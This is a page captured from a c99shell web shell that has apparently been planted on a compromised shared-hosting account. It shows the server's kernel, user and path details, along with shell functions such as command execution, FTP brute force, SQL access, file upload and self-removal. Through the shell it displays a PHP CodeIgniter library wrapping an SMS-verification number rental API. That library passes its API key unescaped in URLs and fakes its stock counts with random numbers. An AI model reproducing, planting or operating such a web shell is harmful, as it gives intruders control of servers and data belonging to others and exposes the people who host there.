smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/test/application/libraries/   drwxr-xr-x
Free 3429.55 GB of 4265.01 GB (80.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Pvapins_api.php (12.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

defined
('BASEPATH') OR exit('No direct script access allowed');



class 
Pvapins_Api {

    function 
get_balance() {

        
$api_key get_instance()->config->item("pvapins_api_key");

        
$json file_get_contents("https://api.smspincode.com/user/api/get_balance.php?customer=$api_key");

        return 
$json->balance;

    }

    public function 
get_number($country$service) {

        
$api_key get_instance()->config->item("pvapins_api_key");

        
$c_name explode(":",$country)[1];

        
$res file_get_contents("https://api.smspincode.com/user/api/get_number.php?customer=$api_key&app=$service&country=$c_name");

        if(
$res != "Country Not Found." && $res != "App Not Found." && $res != "Not Enough balance" && $res != "No free channels available check after sometime.") {

            return array(

                
"id" => $res.":".$c_name.":".$service,

                
"number" => "+".$res,

                
"error_code" => 200

            
);

        }

        else {

            
$error_code 400;

            return array(

                
"id" => 0,

                
"number" => null,

                
"error_code" => $error_code

            
);

        }

    }

    public function 
get_message($id) {

        
$api_key get_instance()->config->item("pvapins_api_key");

        
$data explode(":"$id);

        
$number $data[0];

        
$country $data[1];

        
$service $data[2];

        
$res file_get_contents("https://api.smspincode.com/user/api/get_sms.php?customer=$api_key&number=$number&app=$service&country=$country");

        if(
$res != "Customer Not Found." && $res != "Number Not Found." && $res != "Your balance is expired." && $res != "Error 102, check back later." && $res != "You have not received any code yet.") {

            
$res_json file_get_contents("https://api.smspincode.com/user/api/get_history.php?customer=$api_key");

            
$res_obj json_decode($res_jsontrue);

            
$activation array_search($numberarray_column($res_obj"number"));

            return array(

                
"code" => $res_obj[$activation]["message"]

            );

        }

        else {

            return array(

                
"code" => null

            
);

        }

    }

    public function 
get_service_stock($country$service) {

        return 
rand(15,25);

    }

    public function 
get_countries() {

        
$countries = array(

            array(
"id"=>"164:brazil","name"=>"Brazil"),

            array(
"id"=>"61:colombia","name"=>"Colombia"),

            array(
"id"=>"59:peru","name"=>"Peru"),

            array(
"id"=>"58:usa","name"=>"USA"),

            array(
"id"=>"153:usa2","name"=>"USA2"),

            array(
"id"=>"60:tunisia","name"=>"Tunisia"),

            array(
"id"=>"62:uk","name"=>"UK"),

            array(
"id"=>"63:zambia","name"=>"Zambia"),

            array(
"id"=>"65:venezuela","name"=>"Venezuela"),

            array(
"id"=>"66:guatemala","name"=>"Guatemala"),

            array(
"id"=>"67:south africa","name"=>"South Africa"),

            array(
"id"=>"68:switzerland","name"=>"Switzerland"),

            array(
"id"=>"69:botswana","name"=>"Botswana"),

            array(
"id"=>"70:lesotho","name"=>"Lesotho"),

            array(
"id"=>"71:malawi","name"=>"Malawi"),

            array(
"id"=>"72:namibia","name"=>"Namibia"),

            array(
"id"=>"73:uae","name"=>"UAE"),

            array(
"id"=>"74:zimbabwe","name"=>"Zimbabwe"),

            array(
"id"=>"75:mozambique","name"=>"Mozambique"),

            array(
"id"=>"76:uganda","name"=>"Uganda"),

            array(
"id"=>"77:tanzania","name"=>"Tanzania"),

            array(
"id"=>"78:kenya","name"=>"Kenya"),

            array(
"id"=>"79:djibouti","name"=>"Djibouti"),

            array(
"id"=>"80:somalia","name"=>"Somalia"),

            array(
"id"=>"81:ethiopia","name"=>"Ethiopia"),

            array(
"id"=>"82:sudan","name"=>"Sudan"),

            array(
"id"=>"83:angola","name"=>"Angola"),

            array(
"id"=>"84:congo democratic","name"=>"Congo Democratic"),

            array(
"id"=>"85:congo (republic)","name"=>"Congo (Republic)"),

            array(
"id"=>"86:cameroon","name"=>"Cameroon"),

            array(
"id"=>"87:chad","name"=>"Chad"),

            array(
"id"=>"150:china","name"=>"China"),

            array(
"id"=>"88:nigeria","name"=>"Nigeria"),

            array(
"id"=>"89:ghana","name"=>"Ghana"),

            array(
"id"=>"90:liberia","name"=>"Liberia"),

            array(
"id"=>"91:benin","name"=>"Benin"),

            array(
"id"=>"92:togo","name"=>"Togo"),

            array(
"id"=>"93:niger","name"=>"Niger"),

            array(
"id"=>"94:burkina faso","name"=>"Burkina Faso"),

            array(
"id"=>"95:cote d’ivoire","name"=>"Cote D’Ivoire"),

            array(
"id"=>"96:guinea","name"=>"Guinea"),

            array(
"id"=>"97:mali","name"=>"Mali"),

            array(
"id"=>"98:senegal","name"=>"Senegal"),

            array(
"id"=>"99:gambia","name"=>"Gambia"),

            array(
"id"=>"100:libya","name"=>"Libya"),

            array(
"id"=>"101:algeria","name"=>"Algeria"),

            array(
"id"=>"102:egypt","name"=>"Egypt"),

            array(
"id"=>"103:papua new guinea","name"=>"Papua New Guinea"),

            array(
"id"=>"104:thailand","name"=>"Thailand"),

            array(
"id"=>"105:philippines","name"=>"Philippines"),

            array(
"id"=>"106:indonesia","name"=>"Indonesia"),

            array(
"id"=>"107:malaysia","name"=>"Malaysia"),

            array(
"id"=>"108:maldives","name"=>"Maldives"),

            array(
"id"=>"109:bangladesh","name"=>"Bangladesh"),

            array(
"id"=>"110:laos","name"=>"Laos"),

            array(
"id"=>"111:cambodia","name"=>"Cambodia"),

            array(
"id"=>"112:viet nam","name"=>"Viet Nam"),

            array(
"id"=>"113:iran","name"=>"Iran"),

            array(
"id"=>"114:nepal","name"=>"Nepal"),

            array(
"id"=>"115:qatar","name"=>"Qatar"),

            array(
"id"=>"116:bahrain","name"=>"Bahrain"),

            array(
"id"=>"117:israel","name"=>"Israel"),

            array(
"id"=>"118:oman","name"=>"Oman"),

            array(
"id"=>"119:saudi arabia","name"=>"Saudi Arabia"),

            array(
"id"=>"120:kuwait","name"=>"Kuwait"),

            array(
"id"=>"121:iraq","name"=>"Iraq"),

            array(
"id"=>"122:jordan","name"=>"Jordan"),

            array(
"id"=>"123:myanmar","name"=>"Myanmar"),

            array(
"id"=>"124:sri lanka","name"=>"Sri Lanka"),

            array(
"id"=>"125:afghanistan","name"=>"Afghanistan"),

            array(
"id"=>"126:pakistan","name"=>"Pakistan"),

            array(
"id"=>"127:india","name"=>"India"),

            array(
"id"=>"128:bhutan","name"=>"Bhutan"),

            array(
"id"=>"129:mexico","name"=>"Mexico"),

            array(
"id"=>"130:turkey","name"=>"Turkey"),

            array(
"id"=>"131:armenia","name"=>"Armenia"),

            array(
"id"=>"132:portugal","name"=>"Portugal"),

            array(
"id"=>"133:germany","name"=>"Germany"),

            array(
"id"=>"134:poland","name"=>"Poland"),

            array(
"id"=>"135:moldova","name"=>"Moldova"),

            array(
"id"=>"136:belarus","name"=>"Belarus"),

            array(
"id"=>"137:ukraine","name"=>"Ukraine"),

            array(
"id"=>"138:russian","name"=>"Russian"),

            array(
"id"=>"139:estonia","name"=>"Estonia"),

            array(
"id"=>"140:norway","name"=>"Norway"),

            array(
"id"=>"141:czech republic","name"=>"Czech Republic"),

            array(
"id"=>"142:romania","name"=>"Romania"),

            array(
"id"=>"143:hungary","name"=>"Hungary"),

            array(
"id"=>"144:spain","name"=>"Spain"),

            array(
"id"=>"145:france","name"=>"France"),

            array(
"id"=>"146:belgium","name"=>"Belgium"),

            array(
"id"=>"162:argentina","name"=>"Argentina"),

            array(
"id"=>"147:netherlands","name"=>"Netherlands"),

            array(
"id"=>"158:ecuador","name"=>"Ecuador"),

            array(
"id"=>"148:madagascar","name"=>"Madagascar"),

            array(
"id"=>"161:nicaragua","name"=>"Nicaragua"),

            array(
"id"=>"149:taiwan","name"=>"Taiwan"),

            array(
"id"=>"151:morocco","name"=>"Morocco"),

            array(
"id"=>"152:east timor","name"=>"East Timor"),

            array(
"id"=>"154:salvador","name"=>"Salvador"),

            array(
"id"=>"155:costa rica","name"=>"Costa Rica"),

            array(
"id"=>"157:uzbekistan","name"=>"Uzbekistan"),

            array(
"id"=>"159:uk1","name"=>"UK1")

        );

        return 
$countries;

    }

    public function 
get_service_price($country$service) {

        
$c_id explode(":",$country)[0];

        
$price "";

        
$services = array();                                                               

        
$data_string "cid=".$c_id;                                                                                   

        
$ch curl_init('https://smspincode.com/user/ajax/load_apps.php');                                                                      

        
curl_setopt($chCURLOPT_CUSTOMREQUEST"POST");                                                                     

        
curl_setopt($chCURLOPT_POSTFIELDS$data_string);                                                                  

        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);                                                                      

        
curl_setopt($chCURLOPT_HTTPHEADER, array(                                                                          

            
'Content-Length: ' strlen($data_string))                                                                       

        );                                                                                                                   

        
$result curl_exec($ch);

        
$dom = new DOMDocument();

        
$dom->loadHTML($result);

        
$els $dom->getElementsByTagName("span");

        for(
$i 0$i $els->length$i++) {

            if(
trim(explode("$",$els->item($i)->nodeValue)[0]) == $service) {

                
$price trim(explode("$"$els->item($i+1)->nodeValue)[1]);

            }

        }

        return 
$price." $";

    }

    public function 
get_services_by_country($country) {

        
$c_id explode(":",$country)[0];

        
$services = array();                                                               

        
$data_string "cid=".$c_id;                                                                                   

        
$ch curl_init('https://smspincode.com/user/ajax/load_apps.php');                                                                      

        
curl_setopt($chCURLOPT_CUSTOMREQUEST"POST");                                                                     

        
curl_setopt($chCURLOPT_POSTFIELDS$data_string);                                                                  

        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);                                                                      

        
curl_setopt($chCURLOPT_HTTPHEADER, array(                                                                          

            
'Content-Length: ' strlen($data_string))                                                                       

        );                                                                                                                   

        
$result curl_exec($ch);

        
$dom = new DOMDocument();

        
$dom->loadHTML($result);

        foreach (
$dom->getElementsByTagName("span") as $node) {

            
$service trim(explode("$",$node->nodeValue)[0]);

            if(
$service != "") {

                
array_push($services, array(

                    
"id" => $service,

                    
"name" => $service)

                );

            }

        }           

        return 
$services;

    }

    public function 
cancel_number($number_id) {}

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.006 ]--